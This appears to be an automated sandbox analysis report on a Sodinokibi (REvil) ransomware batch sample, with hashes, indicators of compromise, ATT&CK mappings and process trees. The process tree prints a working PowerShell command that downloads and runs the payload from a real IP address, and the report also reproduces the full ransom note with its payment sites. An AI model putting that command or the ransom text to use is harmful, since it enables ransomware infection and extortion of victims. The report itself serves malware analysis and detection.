sodinokibi | a80c7d0195818572a4440425811e01f0f8259566df0d77c4ef7a928c64de77ce

General

Target

1c69f4f012b140cb5a8804fe58a41126.bat
Size

221B
MD5

88eb700e439d918adcecb389a5bcf6b8
SHA1

905eec03268857b86e52a8510eb71ca499d75361
SHA256

a80c7d0195818572a4440425811e01f0f8259566df0d77c4ef7a928c64de77ce
SHA512

6c1bbe97ea867f670d521a108db6fb0cbde85c34d10b53746b16514eaa58f8e96166e105a2d4d75bfe505af85635e4670bfbdf89f0789bfa5cebdc4bf53a4755

Score

10^/10

ransomware sodinokibi persistence

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/1c69f4f012b140cb5a8804fe58a41126

Extracted

Path

C:\bfu354-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension bfu354. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] WE ARE READY TO PUBLISH UR DATA TO PUBLIC ACCESS IF YOU NOT CONTACT US (USE TOR BROWSER TO VIEW) http://dnpscnbaix6nkwvystl3yxglz7nteicqrou3t75tpcc5532cztc46qyd.onion/posts/140?s=61908812b95c5ff1176e968733afaf55 [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/46C78E03B01CE246 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/46C78E03B01CE246 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: Lv04kddxVJbN8MsIGZQYjEwYIObSUYpcXA24p3qJM8KZV2ejH9uLlyGAiL8JvIKq qub2KNA1gL2U3x61lXxFwuMMJeeC/Kqad9wqej+TJdXDqB6svZ5WppdSMiHoF2hl AHe2ioZO2bLNeISTVfoUHps2/oe3VCmpFB9jRRDu1d9xOqFQoP6vioQB0vaWBFvk BGsKfV3V6/6XRLT0gyBCvyd3Cv3wDOYck0ukOKf/ElwfbMd3uzpZBhYOU5E5G7Tr 1kT61pFbnQZOqmAjAjmkdoaJqXvM0AdF1eq4KkcU2PUqjlIvKmGAGv1bkk43YYAj Bcy+dAbNf9Rc6a+4n2e2T0caxp7JJqIK3VG9PagJsJXXAACewE4C5o8MdiVLlfka Oo4eYJSRVtUXscqKxQH6FRAYPBB9xMDrbcNAQSwnqVeEJf6PBQj1yqtaNugGSPvo VzK8yJlb5LwZGaswEi+aaAa+gNFBGleR7YNtr/l3fhzBGNK0PlZv+TSFazUBZbvh W+pjUZerjYn1AEoo/Vx72bwDLlMFGlBfbT99EbGF+s19ZyGLjpIPOJ9ZNA6mbg9+ kmR1AdUTuPBSktookTQ2t1kmhrvymKGb59z3lN7LR3F4yoVecm27l+bFXeEdPnK3 r1CMu4ugmjVbB5XNnHYy3mhIDinHjRdPMOlm9RQ2ZuJwPA9qsP1o3CT8jm2+NE47 nylvCCjxX6/12ZV8Axoh1noA2KKunUo+fNXpJsVUvU88rZUiI6USLAuINgXcqZMF aYXf/Wgr1+AC/BoDNIUrMP2jCgW4RSuksiJnkNJ6bvBv6Cvkas8rKd6zhOw/yPSH F/oxPfAEMNn5pAUO9mayGbLliKsec91I0se18zfqjJ9BCE0yAnSBkykmnBGexOP7 WHDHL4nqNRbQDXmSVF60zJ46DMejde2SjdWOIJ6/QcIFaDnDj85rB4JcPgQphxOJ DUpzebd9K989Ctg1DeY9t+1rJiFq88v4Y7tLL0O5CHsG2/K9h4iGE25iKlwpHQ88 EdiU7IItq8zInjtEkuJmhY9l3TpC3KLranZGI3m98jyQDT8QGSp2C4WDra7m/XsE l/O88Zj/kv0xrtMjAk9Uhvi7B05ksHq8tgBRpeM775ETgtWehvbmBB6A2W1BDbwE CR1TZjOuAPnWVMikpADmVSPBEjui0wAg6ICWIzvwhcQiOdvH4PaYFl+VoC5kDnbB cRJoXrrgkZ5XgeM8lvStAbfwxmSRIitg/38DzTbrzGtNlg8XLIRP51VvIvfIM4fS NiMiM1c+suyjAvQEiOi23xCd5QZurJ7W/8ShusJ6Edc= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/46C78E03B01CE246

http://decryptor.cc/46C78E03B01CE246

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 1028 powershell.exe

flow	pid	process
3	1028	powershell.exe

Modifies extensions of user files 6 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\users\admin\pictures\EnableConfirm.tiff	powershell.exe
File renamed	C:\Users\Admin\Pictures\EnableConfirm.tiff => \??\c:\users\admin\pictures\EnableConfirm.tiff.bfu354	powershell.exe
File opened for modification	\??\c:\users\admin\pictures\StopDismount.tiff	powershell.exe
File renamed	C:\Users\Admin\Pictures\ReadExpand.raw => \??\c:\users\admin\pictures\ReadExpand.raw.bfu354	powershell.exe
File renamed	C:\Users\Admin\Pictures\StopDismount.tiff => \??\c:\users\admin\pictures\StopDismount.tiff.bfu354	powershell.exe
File renamed	C:\Users\Admin\Pictures\SkipRevoke.raw => \??\c:\users\admin\pictures\SkipRevoke.raw.bfu354	powershell.exe

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Modifies service 2 TTPs 5 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5}	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kouk9y3.bmp"	powershell.exe

Drops file in Program Files directory 24 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\DebugRevoke.ttf	powershell.exe
File opened for modification	\??\c:\program files\InstallNew.3gp	powershell.exe
File opened for modification	\??\c:\program files\LimitProtect.jpeg	powershell.exe
File opened for modification	\??\c:\program files\MeasureExpand.reg	powershell.exe
File opened for modification	\??\c:\program files\RestoreRemove.vstx	powershell.exe
File opened for modification	\??\c:\program files\SubmitRestart.wdp	powershell.exe
File created	\??\c:\program files (x86)\bfu354-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\ApproveCopy.xml	powershell.exe
File opened for modification	\??\c:\program files\SubmitUnregister.ods	powershell.exe
File opened for modification	\??\c:\program files\SwitchSplit.docm	powershell.exe
File opened for modification	\??\c:\program files\SwitchStop.css	powershell.exe
File opened for modification	\??\c:\program files\TraceRestart.edrwx	powershell.exe
File opened for modification	\??\c:\program files\UnprotectEnable.3gp	powershell.exe
File opened for modification	\??\c:\program files\DenyInitialize.css	powershell.exe
File opened for modification	\??\c:\program files\MountResume.DVR	powershell.exe
File opened for modification	\??\c:\program files\NewMeasure.xps	powershell.exe
File opened for modification	\??\c:\program files\RestoreStep.tmp	powershell.exe
File opened for modification	\??\c:\program files\TestRevoke.css	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\bfu354-readme.txt	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\bfu354-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\FormatExport.mp2v	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\bfu354-readme.txt	powershell.exe
File created	\??\c:\program files\bfu354-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\CopyConfirm.mht	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

1028 powershell.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

1028 powershell.exe
1028 powershell.exe
1028 powershell.exe

pid	process
1028	powershell.exe

pid	process
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1028	powershell.exe
Token: SeDebugPrivilege	1028	powershell.exe
Token: SeTakeOwnershipPrivilege	1028	powershell.exe
Token: SeBackupPrivilege	1820	vssvc.exe
Token: SeRestorePrivilege	1820	vssvc.exe
Token: SeAuditPrivilege	1820	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1156 wrote to memory of 1028	1156	cmd.exe	powershell.exe
PID 1156 wrote to memory of 1028	1156	cmd.exe	powershell.exe
PID 1156 wrote to memory of 1028	1156	cmd.exe	powershell.exe
PID 1156 wrote to memory of 1028	1156	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\1c69f4f012b140cb5a8804fe58a41126.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1156

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/1c69f4f012b140cb5a8804fe58a41126');Invoke-QVZIJBUKUSJYIH;Start-Sleep -s 10000"
2⤵
- Blacklisted process makes network request
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1028

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:1820

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

memory/1028-0-0x0000000000000000-mapping.dmp

Download
memory/1028-1-0x0000000073910000-0x0000000073FFE000-memory.dmp

Filesize
6.9MB

Download
memory/1028-2-0x0000000000970000-0x0000000000971000-memory.dmp

Filesize
4KB

Download
memory/1028-3-0x0000000004740000-0x0000000004741000-memory.dmp

Filesize
4KB

Download
memory/1028-4-0x0000000004590000-0x0000000004591000-memory.dmp

Filesize
4KB

Download
memory/1028-5-0x0000000005240000-0x0000000005241000-memory.dmp

Filesize
4KB

Download
memory/1028-8-0x00000000056A0000-0x00000000056A1000-memory.dmp

Filesize
4KB

Download
memory/1028-13-0x0000000005730000-0x0000000005731000-memory.dmp

Filesize
4KB

Download
memory/1028-14-0x0000000006260000-0x0000000006261000-memory.dmp

Filesize
4KB

Download
memory/1028-21-0x00000000061B0000-0x00000000061B1000-memory.dmp

Filesize
4KB

Download
memory/1028-22-0x00000000062F0000-0x00000000062F1000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads